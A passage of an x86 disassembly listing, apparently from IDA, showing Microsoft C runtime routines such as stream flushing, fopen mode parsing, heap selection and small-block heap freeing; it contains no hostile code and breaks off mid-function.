arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41A617	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A624	proc near		; CODE XREF: sub_419E38+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41A624	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A634	proc near		; CODE XREF: sub_419E38+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41A634	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A642	proc near		; CODE XREF: sub_417794+17p
					; sub_417794+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41A660
		mov	ecx, off_4395A0
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41A6B2
; ---------------------------------------------------------------------------


loc_41A660:				; CODE XREF: sub_41A642+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_4395A0
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41A685
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41A68E
; ---------------------------------------------------------------------------


loc_41A685:				; CODE XREF: sub_41A642+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41A68E:				; CODE XREF: sub_41A642+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41FB63
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41A6AE
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A6AE:				; CODE XREF: sub_41A642+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41A6B2:				; CODE XREF: sub_41A642+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41A642	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A6B7	proc near		; CODE XREF: sub_417900+2Ap
					; sub_41FEC6+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_48B440
		jnb	loc_41A751
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:48B340h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41A751
		push	edi
		call	sub_41FE32
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41A730
		cmp	edi, 1
		jz	short loc_41A6FE
		cmp	edi, 2
		jnz	short loc_41A714


loc_41A6FE:				; CODE XREF: sub_41A6B7+40j
		push	2
		call	sub_41FE32
		push	1
		mov	ebp, eax
		call	sub_41FE32
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41A730


loc_41A714:				; CODE XREF: sub_41A6B7+45j
		push	edi
		call	sub_41FE32
		pop	ecx
		push	eax
		call	near ptr 2611A31h
		nop
		test	eax, eax
		jnz	short loc_41A730
		call	near ptr 2630313h
		nop
		mov	ebp, eax
		jmp	short loc_41A732
; ---------------------------------------------------------------------------


loc_41A730:				; CODE XREF: sub_41A6B7+3Bj
					; sub_41A6B7+5Bj ...
		xor	ebp, ebp


loc_41A732:				; CODE XREF: sub_41A6B7+77j
		push	edi
		call	sub_41FDB8
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41A74D
		push	ebp
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41A762
; ---------------------------------------------------------------------------


loc_41A74D:				; CODE XREF: sub_41A6B7+8Bj
		xor	eax, eax
		jmp	short loc_41A765
; ---------------------------------------------------------------------------


loc_41A751:				; CODE XREF: sub_41A6B7+Ej
					; sub_41A6B7+2Fj
		and	dword_48A018, 0
		mov	dword_48A014, 9


loc_41A762:				; CODE XREF: sub_41A6B7+94j
		or	eax, 0FFFFFFFFh


loc_41A765:				; CODE XREF: sub_41A6B7+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A6B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A76A	proc near		; CODE XREF: sub_417900+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41A793
		test	al, 8
		jz	short loc_41A793
		push	dword ptr [esi+8]
		call	sub_417C3B
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41A793:				; CODE XREF: sub_41A76A+Aj
					; sub_41A76A+Ej
		pop	esi
		retn
sub_41A76A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A795	proc near		; CODE XREF: sub_41A835+2Dp
					; sub_41A835+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41A7A7
		push	esi
		call	sub_41A835
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A7A7:				; CODE XREF: sub_41A795+7j
		push	esi
		call	sub_41A7D0
		test	eax, eax
		pop	ecx
		jz	short loc_41A7B7
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A7B7:				; CODE XREF: sub_41A795+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41A7CC
		push	dword ptr [esi+10h]
		call	sub_41FE6F
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41A7CC:				; CODE XREF: sub_41A795+26j
		xor	eax, eax
		pop	esi
		retn
sub_41A795	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A7D0	proc near		; CODE XREF: sub_417900+1Ap
					; sub_418D0E+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41A81D
		test	ax, 108h
		jz	short loc_41A81D
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41A81D
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41A816
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41A81D
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41A81D
; ---------------------------------------------------------------------------


loc_41A816:				; CODE XREF: sub_41A7D0+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41A81D:				; CODE XREF: sub_41A7D0+14j
					; sub_41A7D0+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41A7D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A82C	proc near		; CODE XREF: sub_41FAE7p
		push	1
		call	sub_41A835
		pop	ecx
		retn
sub_41A82C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A835	proc near		; CODE XREF: sub_41A795+Ap
					; sub_41A82C+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_48B320, esi
		jle	short loc_41A893


loc_41A846:				; CODE XREF: sub_41A835+5Cj
		mov	eax, dword_48A310
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41A88A
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41A88A
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41A870
		push	eax
		call	sub_41A795
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41A88A
		inc	ebx
		jmp	short loc_41A88A
; ---------------------------------------------------------------------------


loc_41A870:				; CODE XREF: sub_41A835+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41A88A
		test	cl, 2
		jz	short loc_41A88A
		push	eax
		call	sub_41A795
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41A88A
		or	edi, eax


loc_41A88A:				; CODE XREF: sub_41A835+1Bj
					; sub_41A835+23j ...
		inc	esi
		cmp	esi, dword_48B320
		jl	short loc_41A846


loc_41A893:				; CODE XREF: sub_41A835+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41A89E
		mov	eax, edi


loc_41A89E:				; CODE XREF: sub_41A835+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A835	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A8A2	proc near		; CODE XREF: sub_417956+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41FA1C
		test	eax, eax
		pop	ecx
		jz	short loc_41A92B
		cmp	esi, offset dword_43BCD8
		jnz	short loc_41A8C0
		xor	eax, eax
		jmp	short loc_41A8CB
; ---------------------------------------------------------------------------


loc_41A8C0:				; CODE XREF: sub_41A8A2+18j
		cmp	esi, offset dword_43BCF8
		jnz	short loc_41A92B
		push	1
		pop	eax


loc_41A8CB:				; CODE XREF: sub_41A8A2+1Cj
		inc	dword_48A1D8
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41A92B
		cmp	dword_48A06C[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:48A06Ch[eax*4]
		mov	ebx, 1000h
		jnz	short loc_41A911
		push	ebx
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_41A911
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_41A91E
; ---------------------------------------------------------------------------


loc_41A911:				; CODE XREF: sub_41A8A2+4Dj
					; sub_41A8A2+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_41A91E:				; CODE XREF: sub_41A8A2+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A92B:				; CODE XREF: sub_41A8A2+10j
					; sub_41A8A2+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_41A8A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A92F	proc near		; CODE XREF: sub_417956+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41A959
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41A96A
		push	esi
		call	sub_41A7D0
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A959:				; CODE XREF: sub_41A92F+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41A96A
		push	eax
		call	sub_41A7D0
		pop	ecx


loc_41A96A:				; CODE XREF: sub_41A92F+10j
					; sub_41A92F+32j
		pop	esi
		retn
sub_41A92F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A96C	proc near		; CODE XREF: sub_417988+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_48A1E0
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41A9A5
		cmp	al, 72h
		jz	short loc_41A99E
		cmp	al, 77h
		jnz	loc_41AAB9
		mov	ecx, 301h
		jmp	short loc_41A9AA
; ---------------------------------------------------------------------------


loc_41A99E:				; CODE XREF: sub_41A96C+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41A9AD
; ---------------------------------------------------------------------------


loc_41A9A5:				; CODE XREF: sub_41A96C+1Dj
		mov	ecx, 109h


loc_41A9AA:				; CODE XREF: sub_41A96C+30j
		or	esi, 2


loc_41A9AD:				; CODE XREF: sub_41A96C+37j
		push	1
		pop	edx


loc_41A9B0:				; CODE XREF: sub_41A96C+8Bj
					; sub_41A96C+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41AA9F
		cmp	edx, ebx
		jz	loc_41AA9F
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41AA3E
		jz	short loc_41AA2E
		sub	eax, 2Bh
		jz	short loc_41AA18
		sub	eax, 19h
		jz	short loc_41AA0E
		sub	eax, 0Eh
		jz	short loc_41A9F9
		dec	eax
		jnz	loc_41AA90
		cmp	[ebp+var_4], ebx
		jnz	loc_41AA90
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------


loc_41A9F9:				; CODE XREF: sub_41A96C+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41AA90
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA0E:				; CODE XREF: sub_41A96C+6Aj
		test	cl, 40h
		jnz	short loc_41AA90
		or	ecx, 40h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA18:				; CODE XREF: sub_41A96C+65j
		test	cl, 2
		jnz	short loc_41AA90
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA2E:				; CODE XREF: sub_41A96C+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41AA90
		or	ecx, eax
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA3E:				; CODE XREF: sub_41A96C+5Ej
		sub	eax, 62h
		jz	short loc_41AA8B
		dec	eax
		jz	short loc_41AA74
		sub	eax, 0Bh
		jz	short loc_41AA5D
		sub	eax, 6
		jnz	short loc_41AA90
		test	ch, 0C0h
		jnz	short loc_41AA90
		or	ch, 40h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA5D:				; CODE XREF: sub_41A96C+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41AA90
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA74:				; CODE XREF: sub_41A96C+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41AA90
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA8B:				; CODE XREF: sub_41A96C+D5j
		test	ch, 0C0h
		jz	short loc_41AA97


loc_41AA90:				; CODE XREF: sub_41A96C+72j
					; sub_41A96C+7Bj ...
		xor	edx, edx
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA97:				; CODE XREF: sub_41A96C+122j
		or	ch, 80h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA9F:				; CODE XREF: sub_41A96C+4Aj
					; sub_41A96C+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FEC6
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41AABD


loc_41AAB9:				; CODE XREF: sub_41A96C+25j
		xor	eax, eax
		jmp	short loc_41AAD7
; ---------------------------------------------------------------------------


loc_41AABD:				; CODE XREF: sub_41A96C+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_48A1D8
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41AAD7:				; CODE XREF: sub_41A96C+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A96C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AADC	proc near		; CODE XREF: sub_417988p
		mov	edx, dword_48B320
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41AB4D
		mov	ebx, dword_48A310
		mov	edi, ebx


loc_41AAF8:				; CODE XREF: sub_41AADC+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41AB13
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41AB0E
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41AAF8
		jmp	short loc_41AB4D
; ---------------------------------------------------------------------------


loc_41AB0E:				; CODE XREF: sub_41AADC+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41AB37
; ---------------------------------------------------------------------------


loc_41AB13:				; CODE XREF: sub_41AADC+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_417B89
		pop	ecx
		mov	ecx, dword_48A310
		mov	[edi+ecx], eax
		mov	eax, dword_48A310
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41AB4D
		mov	esi, edi


loc_41AB37:				; CODE XREF: sub_41AADC+35j
		cmp	esi, ebp
		jz	short loc_41AB4D
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41AB4D:				; CODE XREF: sub_41AADC+12j
					; sub_41AADC+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41AADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB54	proc near		; CODE XREF: sub_417B9B+1Fp
					; sub_41944F+126p ...

arg_0		= dword	ptr  4

		mov	eax, dword_48A078
		test	eax, eax
		jz	short loc_41AB6C
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41AB6C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41AB6C:				; CODE XREF: sub_41AB54+7j
					; sub_41AB54+12j
		xor	eax, eax
		retn
sub_41AB54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB6F	proc near		; CODE XREF: ___:0041ACD2p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	near ptr 2700B59h
		nop
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41AB9A
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41AB9A
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41AB9A:				; CODE XREF: sub_41AB6F+15j
					; sub_41AB6F+1Cj
		pop	esi
		retn
sub_41AB6F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_417B30
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 2771415h
		test	eax, eax
		jz	short loc_41ABDF
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41ABDF
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41ABDF
		push	1
		pop	eax
		jmp	loc_41ACE1
; ---------------------------------------------------------------------------


loc_41ABDF:				; CODE XREF: ___:0041ABC3j
					; ___:0041ABCCj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 2820000h
		test	eax, eax
		jz	loc_41ACCE
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41AC21


loc_41AC0E:				; CODE XREF: ___:0041AC1Fj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41AC1C
		cmp	al, 7Ah
		jg	short loc_41AC1C
		sub	al, 20h
		mov	[ecx], al


loc_41AC1C:				; CODE XREF: ___:0041AC12j
					; ___:0041AC16j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41AC0E


loc_41AC21:				; CODE XREF: ___:0041AC0Cj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_418DA0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41AC43
		lea	eax, [ebp-122Ch]
		jmp	short loc_41AC8C
; ---------------------------------------------------------------------------


loc_41AC43:				; CODE XREF: ___:0041AC39j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		call	near ptr 2640000h
		nop
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41AC77


loc_41AC64:				; CODE XREF: ___:0041AC75j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41AC72
		cmp	al, 7Ah
		jg	short loc_41AC72
		sub	al, 20h
		mov	[ecx], al


loc_41AC72:				; CODE XREF: ___:0041AC68j
					; ___:0041AC6Cj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41AC64


loc_41AC77:				; CODE XREF: ___:0041AC62j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx


loc_41AC8C:				; CODE XREF: ___:0041AC41j
		cmp	eax, ebx
		jz	short loc_41ACCE
		push	2Ch
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41ACCE
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41ACB3


loc_41ACA5:				; CODE XREF: ___:0041ACB1j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41ACAE
		mov	[ecx], bl
		jmp	short loc_41ACAF
; ---------------------------------------------------------------------------


loc_41ACAE:				; CODE XREF: ___:0041ACA8j
		inc	ecx


loc_41ACAF:				; CODE XREF: ___:0041ACACj
		cmp	[ecx], bl
		jnz	short loc_41ACA5


loc_41ACB3:				; CODE XREF: ___:0041ACA3j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41881C
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41ACE1
		cmp	eax, 3
		jz	short loc_41ACE1
		cmp	eax, 1
		jz	short loc_41ACE1


loc_41ACCE:				; CODE XREF: ___:0041ABF8j
					; ___:0041AC8Ej ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41AB6F
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41ACE1:				; CODE XREF: ___:0041ABDAj
					; ___:0041ACC2j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dd 6AC033h, 8244439h, 100068h, 0C0940F00h, 5306E850h, 85900241h
		dd 0B684A3C0h, 36740048h, 0FFFE93E8h, 3F883FFh,	48B688A3h
		dd 680D7500h, 3F8h, 24E8h, 0AEB5900h, 7502F883h, 0B5EE818h
		dd 0C0850000h, 35FF0F75h, 48B684h, 5F7FE890h, 0C0330240h
		dd 58016AC3h, 14068C3h,	6A0000h, 0B68435FFh, 0ADE80048h
		dd 90022D52h, 7CA3C085h, 750048B6h, 4C8BC301h, 25830424h
		dd 48B674h, 78258300h, 48B6h, 70A3016Ah, 890048B6h, 48B6800Dh
		dd 6805C700h, 100048B6h, 58000000h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41AD89	proc near		; CODE XREF: sub_417C3B+17p
					; sub_41944F+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_48B678
		lea	ecx, [eax+eax*4]
		mov	eax, dword_48B67C
		lea	ecx, [eax+ecx*4]


loc_41AD99:				; CODE XREF: sub_41AD89+26j
		cmp	eax, ecx
		jnb	short loc_41ADB1
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41ADB3
		add	eax, 14h
		jmp	short loc_41AD99
; ---------------------------------------------------------------------------


loc_41ADB1:				; CODE XREF: sub_41AD89+12j
		xor	eax, eax

locret_41ADB3:				; CODE XREF: sub_41AD89+21j
		retn
sub_41AD89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB4	proc near		; CODE XREF: sub_417C3B+23p
					; sub_41944F+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41B0D8
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41AE8A
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41AE18
		push	3Fh
		pop	edx


loc_41AE18:				; CODE XREF: sub_41ADB4+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41AE6C
		cmp	edx, 20h
		jnb	short loc_41AE43
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41AE64
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41AE64
; ---------------------------------------------------------------------------


loc_41AE43:				; CODE XREF: sub_41ADB4+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41AE64
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41AE64:				; CODE XREF: sub_41ADB4+86j
					; sub_41ADB4+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41AE6F
; ---------------------------------------------------------------------------


loc_41AE6C:				; CODE XREF: sub_41ADB4+6Aj
		mov	ecx, [ebp+var_4]


loc_41AE6F:				; CODE XREF: sub_41ADB4+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41AE8A:				; CODE XREF: sub_41ADB4+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41AE98
		push	3Fh
		pop	edx


loc_41AE98:				; CODE XREF: sub_41ADB4+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41AF3B
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41AEBD
		mov	ebx, esi


loc_41AEBD:				; CODE XREF: sub_41ADB4+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41AECF
		mov	edx, esi


loc_41AECF:				; CODE XREF: sub_41ADB4+117j
		cmp	ebx, edx
		jz	short loc_41AF36
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41AF1E
		cmp	ebx, 20h
		jnb	short loc_41AEFF
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41AF1E
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41AF1E
